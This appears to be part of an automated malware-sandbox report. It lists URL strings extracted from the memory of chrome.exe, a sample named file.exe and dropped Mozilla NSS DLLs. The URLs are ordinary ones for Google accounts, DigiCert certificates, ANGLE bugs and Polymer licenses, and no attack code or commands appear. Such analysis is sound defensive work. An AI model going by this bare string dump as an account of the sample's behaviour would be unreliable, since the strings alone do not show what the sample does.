Source: chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1926477242.00004A3000474000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6651
Source: chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1930562263.00004A3000B5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6692
Source: chrome.exe, 00000001.00000002.1927858277.00004A300067C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6755
Source: chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1926477242.00004A3000474000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6860
Source: chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1927571580.00004A300060C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6876
Source: chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1930562263.00004A3000B5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6878
Source: chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1926477242.00004A3000474000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6929
Source: chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1930562263.00004A3000B5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6953
Source: chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1923307296.00004A300001C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7036
Source: chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1926477242.00004A3000474000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7047
Source: chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1930562263.00004A3000B5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7172
Source: chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1926477242.00004A3000474000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7279
Source: chrome.exe, 00000001.00000002.1927858277.00004A300067C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7370
Source: chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1926477242.00004A3000474000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7406
Source: chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1930562263.00004A3000B5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7488
Source: chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1930562263.00004A3000B5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7553
Source: chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1930562263.00004A3000B5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7556
Source: chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1926477242.00004A3000474000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7724
Source: chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1926477242.00004A3000474000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7760
Source: chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1926208443.00004A30003EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7761
Source: chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1926477242.00004A3000474000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8162
Source: chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1930562263.00004A3000B5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1927571580.00004A300060C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8215
Source: chrome.exe, 00000001.00000002.1927858277.00004A300067C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1930562263.00004A3000B5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8229
Source: chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1926208443.00004A30003EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1926477242.00004A3000474000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8280
Source: chrome.exe, 00000001.00000002.1926477242.00004A3000474000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8280ty
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: chrome.exe, 00000001.00000002.1925121317.00004A300020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://clients2.google.com/time/1/current
Source: chrome.exe, 00000001.00000002.1927780747.00004A3000648000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://clientservices.googleapis.com/chrome-variations/seed?osname=win&channel=stable&milestone=117
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: chrome.exe, 00000001.00000002.1927780747.00004A3000648000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://developer.chrome.com/extensions/external_extensions.html)
Source: chrome.exe, 00000001.00000002.1929702155.00004A3000994000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvNzI0QUFXNV9zT2RvdUwy
Source: chrome.exe, 00000001.00000002.1923617263.00004A300008E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://google.com/
Source: chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://issuetracker.google.com/200067929
Source: chrome.exe, 00000001.00000003.1835184153.00004A300100C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1835412769.00004A3001038000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1835275417.00004A300101C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1835339682.00004A3000F2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://jsbin.com/temexa/4.
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: chrome.exe, 00000001.00000003.1836862600.00004A3000C88000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1837255280.00004A30002F4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1925730837.00004A30002E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1836906481.00004A3000A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1836972263.00004A3000F60000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1835184153.00004A300100C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1835412769.00004A3001038000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1835307351.00004A300106C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1837372098.00004A30010B8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1836939104.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1835275417.00004A300101C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1835339682.00004A3000F2C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1837487832.00004A300120C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chrome.exe, 00000001.00000003.1836862600.00004A3000C88000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1837255280.00004A30002F4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1925730837.00004A30002E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1836906481.00004A3000A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1836972263.00004A3000F60000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1835184153.00004A300100C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1835412769.00004A3001038000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1835307351.00004A300106C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1837372098.00004A30010B8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1836939104.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1835275417.00004A300101C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1835339682.00004A3000F2C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1837487832.00004A300120C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chrome.exe, 00000001.00000003.1836862600.00004A3000C88000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1837255280.00004A30002F4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1925730837.00004A30002E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1836906481.00004A3000A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1836972263.00004A3000F60000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1835184153.00004A300100C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1835412769.00004A3001038000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1835307351.00004A300106C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1837372098.00004A30010B8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1836939104.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1835275417.00004A300101C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1835339682.00004A3000F2C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1837487832.00004A300120C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chrome.exe, 00000001.00000003.1836862600.00004A3000C88000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1837255280.00004A30002F4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1925730837.00004A30002E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1836906481.00004A3000A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1836972263.00004A3000F60000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1835184153.00004A300100C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1835412769.00004A3001038000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1835307351.00004A300106C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1837372098.00004A30010B8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1836939104.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1835275417.00004A300101C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1835339682.00004A3000F2C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1837487832.00004A300120C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: chrome.exe, 00000001.00000002.1929624729.00004A3000958000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://safebrowsing.googleusercontent.com/safebrowsing/clientreport/chrome-certs
Source: chrome.exe, 00000001.00000002.1929624729.00004A3000958000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://safebrowsing.googleusercontent.com/safebrowsing/clientreport/chrome-certsJ0
Source: chrome.exe, 00000001.00000002.1929806090.00004A30009B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://unisolated.invalid/
Source: chrome.exe, 00000001.00000002.1929806090.00004A30009B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://unisolated.invalid/a
Source: chromecache_79.3.dr	String found in binary or memory: http://www.broofa.com
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: chrome.exe, 00000001.00000002.1929905118.00004A30009EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.gstatic.com/generate_204
Source: file.exe, file.exe, 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2095134588.000000001D399000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2100732647.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: chrome.exe, 00000001.00000003.1837221454.00004A3000BC4000.00000004.00000800.00020000.00000000.sdmp, GIJDAFBK.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chrome.exe, 00000001.00000002.1925121317.00004A300020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accountcapabilities-pa.googleapis.com/
Source: chrome.exe, 00000001.00000002.1923617263.00004A3000078000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accountcapabilities-pa.googleapis.com/v1/accountcapabilities:batchGet
Source: chrome.exe, 00000001.00000002.1931054285.00004A3000C50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com
Source: chrome.exe, 00000001.00000002.1923307296.00004A300001C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1931054285.00004A3000C50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/
Source: chrome.exe, 00000001.00000002.1924926380.00004A30001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/AddSession
Source: chrome.exe, 00000001.00000002.1925121317.00004A300020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/GetCheckConnectionInfo
Source: chrome.exe, 00000001.00000002.1931054285.00004A3000C50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/J
Source: chrome.exe, 00000001.00000002.1925121317.00004A300020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/ListAccounts?json=standard
Source: chrome.exe, 00000001.00000002.1924926380.00004A30001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/Logout
Source: chrome.exe, 00000001.00000002.1924926380.00004A30001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/Logout1
Source: chrome.exe, 00000001.00000002.1924926380.00004A30001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/MergeSession
Source: chrome.exe, 00000001.00000002.1924926380.00004A30001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/OAuthLogin
Source: chrome.exe, 00000001.00000002.1925121317.00004A300020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/RotateBoundCookies
Source: chrome.exe, 00000001.00000003.1910215570.00004A3000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/_/IdentityListAccountsHttp/cspreport
Source: chrome.exe, 00000001.00000002.1925121317.00004A300020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/chrome/blank.html
Source: chrome.exe, 00000001.00000002.1925121317.00004A300020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/chrome/blank.htmlB
Source: chrome.exe, 00000001.00000002.1925121317.00004A300020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/reauth/chromeos
Source: chrome.exe, 00000001.00000002.1923944010.00004A30000A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/chrome/usermenu
Source: chrome.exe, 00000001.00000002.1923944010.00004A30000A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/kidsignin/chromeos
Source: chrome.exe, 00000001.00000002.1923944010.00004A30000A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/kidsignup/chromeos
Source: chrome.exe, 00000001.00000002.1925121317.00004A300020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/v2/chromeos
Source: chrome.exe, 00000001.00000002.1925121317.00004A300020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/windows
Source: chrome.exe, 00000001.00000002.1925121317.00004A300020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/xreauth/chrome
